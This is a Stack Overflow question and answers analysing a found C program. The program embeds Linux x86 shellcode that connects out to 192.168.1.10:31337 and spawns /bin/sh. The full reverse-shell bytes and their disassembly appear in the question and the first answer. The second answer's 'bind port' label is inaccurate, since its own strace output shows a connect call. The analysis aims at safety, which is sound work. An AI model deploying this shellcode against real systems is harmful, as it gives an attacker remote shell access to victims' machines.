0

I've found an interesting code and run it, and I wonder what this code does. I'm worried if this code harms my computer

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

I don't know about shellcode

John Kugelman
  • 349,597
  • 67
  • 533
  • 578
nngm
  • 129
  • 1
  • 1
  • 8

2 Answers2

1

First, you should disassemble the code, for example by modifying the source to

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 write(1, code, sizeof(code)-1);
}

$ gcc -O2 sc.c -o sc

$ ./sc > sc.bin

Now, you can use objdump to get the disassembled source (isa is obviously ia32):

$ objdump -bbinary -mi386 -D sc.bin

Disassembly of section .data:

00000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   31 c9                   xor    %ecx,%ecx
   6:   31 d2                   xor    %edx,%edx
   8:   b0 66                   mov    $0x66,%al
   a:   b3 01                   mov    $0x1,%bl
   c:   51                      push   %ecx
   d:   6a 06                   push   $0x6
   f:   6a 01                   push   $0x1
  11:   6a 02                   push   $0x2
  13:   89 e1                   mov    %esp,%ecx
  15:   cd 80                   int    $0x80
  17:   89 c6                   mov    %eax,%esi
  19:   b0 66                   mov    $0x66,%al
  1b:   31 db                   xor    %ebx,%ebx
  1d:   b3 02                   mov    $0x2,%bl
  1f:   68 c0 a8 01 0a          push   $0xa01a8c0
  24:   66 68 7a 69             pushw  $0x697a
  28:   66 53                   push   %bx
  2a:   fe c3                   inc    %bl
  2c:   89 e1                   mov    %esp,%ecx
  2e:   6a 10                   push   $0x10
  30:   51                      push   %ecx
  31:   56                      push   %esi
  32:   89 e1                   mov    %esp,%ecx
  34:   cd 80                   int    $0x80
  36:   31 c9                   xor    %ecx,%ecx
  38:   b1 03                   mov    $0x3,%cl
  3a:   fe c9                   dec    %cl
  3c:   b0 3f                   mov    $0x3f,%al
  3e:   cd 80                   int    $0x80
  40:   75 f8                   jne    0x3a
  42:   31 c0                   xor    %eax,%eax
  44:   52                      push   %edx
  45:   68 6e 2f 73 68          push   $0x68732f6e
  4a:   68 2f 2f 62 69          push   $0x69622f2f
  4f:   89 e3                   mov    %esp,%ebx
  51:   52                      push   %edx
  52:   53                      push   %ebx
  53:   89 e1                   mov    %esp,%ecx
  55:   52                      push   %edx
  56:   89 e2                   mov    %esp,%edx
  58:   b0 0b                   mov    $0xb,%al
  5a:   cd 80                   int    $0x80

Now you can start disassembling. Most important are the syscalls (int $0x80); the syscall numbers are in register %eax (you can see, which syscall it is, in the includefile asm/unistd_32.h), the parameters are in other registers.

The more dangerous (and less reliable), but easier and faster way:

You can create some kind of sandbox (for example, a chrooted, unprivileged user on a unix system, or even better, a vm) and run the code with "strace" to get an idea, what it does. However, this might be less reliable, since you cannot know for sure, if you see a relevant codepath then due to the circumstances or anti-debugging techniques.

Ctx
  • 18,090
  • 24
  • 36
  • 51
  • Or more simply, just compile it to a `.o` and `objdump -D foo.o` to disassemble the `.data` section as well. No need to have the program write the bytes to a separate flat binary file. – Peter Cordes Jan 19 '20 at 01:42
  • @PeterCordes But depending on the bytes in the data section preceding the shellcode, the first few instructions might be decoded wrong – Ctx Jan 19 '20 at 09:33
  • That's why you disassemble the `.o`, not link it into an executable. `unsigned char code[]` will be the *only* thing in the .data section (definitely so if you also leave out `#include `). I've done this; it works. Also BTW, POSIX `write()` is defined in `unistd.h`, not `stdio.h`. – Peter Cordes Jan 19 '20 at 09:37
  • @PeterCordes I just adapted the code minimally, so I did not care about the includes. You cannot tell for sure what goes into the data section and where, that wholly depends on your environment, so I believe that the proposed method here is the safe bet. – Ctx Jan 19 '20 at 11:36
  • Yes, you can tell. After compiling a `.c` with no includes, *only* the array definition, it will be the only data in either `.data` or `.text`/`.rodata` (if `const`) of the object file. And the array name will show up as a symbol in in the `.o` so you can be sure you're seeing the proper start of the array. (useful e.g. if you didn't bother to strip out everything else.) I just did this a couple hours ago to debug [ELF - Entry point patching with x86 zero-extended address](//stackoverflow.com/a/59806361) and I'm confident it will work reliably in general. – Peter Cordes Jan 19 '20 at 11:40
  • @PeterCordes Anything can be in this section, noone can tell. If you have some reference to share with some standard, that supports your claim, please tell us. But I am confident, that you will not find such rules anywhere. – Ctx Jan 19 '20 at 20:31
  • GCC doesn't randomly make up extra stuff to put in `.data` that wasn't in the `.c` it was compiling. Like I said, if your `.c` contains *only* an array, no functions, no includes, no nothing, you're guaranteed that the `.o` (not a linked executable) will only contain the array's bytes in its `.data` section. https://godbolt.org/z/5dxr8p shows how it compiles to asm; note that debug info is in a different section. Godbolt doesn't have an `objdump -D` mode to disassemble a `.o`. There's no ISO or GNU *standard* involved, just how compilers work. – Peter Cordes Jan 19 '20 at 20:45
  • Also, `objdump` restarts decoding at symbols, so even if there was garbage it would restart decoding at the symbol name for the array start. – Peter Cordes Jan 19 '20 at 20:46
  • @PeterCordes How compilers work can differ not only from compiler to compiler, but even from version to version. No guarantees whatsoever can be made, because the OP doesn't even mention a particular compiler or version. Just writing the string and decoding it manually is safe, your method may work in some cases, but is not safe. – Ctx Jan 19 '20 at 20:47
  • Come on, what plausible mechanism could lead to GCC (or clang or even MSVC) sticking extra bytes into the `.data` section of every `.o` that it emits? And if you use `objdump -D` it is actually is safe even then; I put some incomplete instructions bytes ahead of the `code:` label in the GCC output and objdump still restarted decoding after the symbol, so the overlapped machine code bytes show up twice. So I'd definitely try that first. If I'm somehow wrong and there is garbage, your method always works as a fallback, sure. – Peter Cordes Jan 19 '20 at 20:51
0

This shellcode is bind port shellcode through this address 192.168.1.10. This is commonly used for remote exploit

write(1, "Shellcode Length: 92\n", 21Shellcode Length: 92
)  = 21
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.10")}, 16

In other terminal, if correct you can use command like nc 192.168.1.10 31337

Of course if you aware with this shellcode, you can do static analysis (like disassemble) every bytes of shellcode.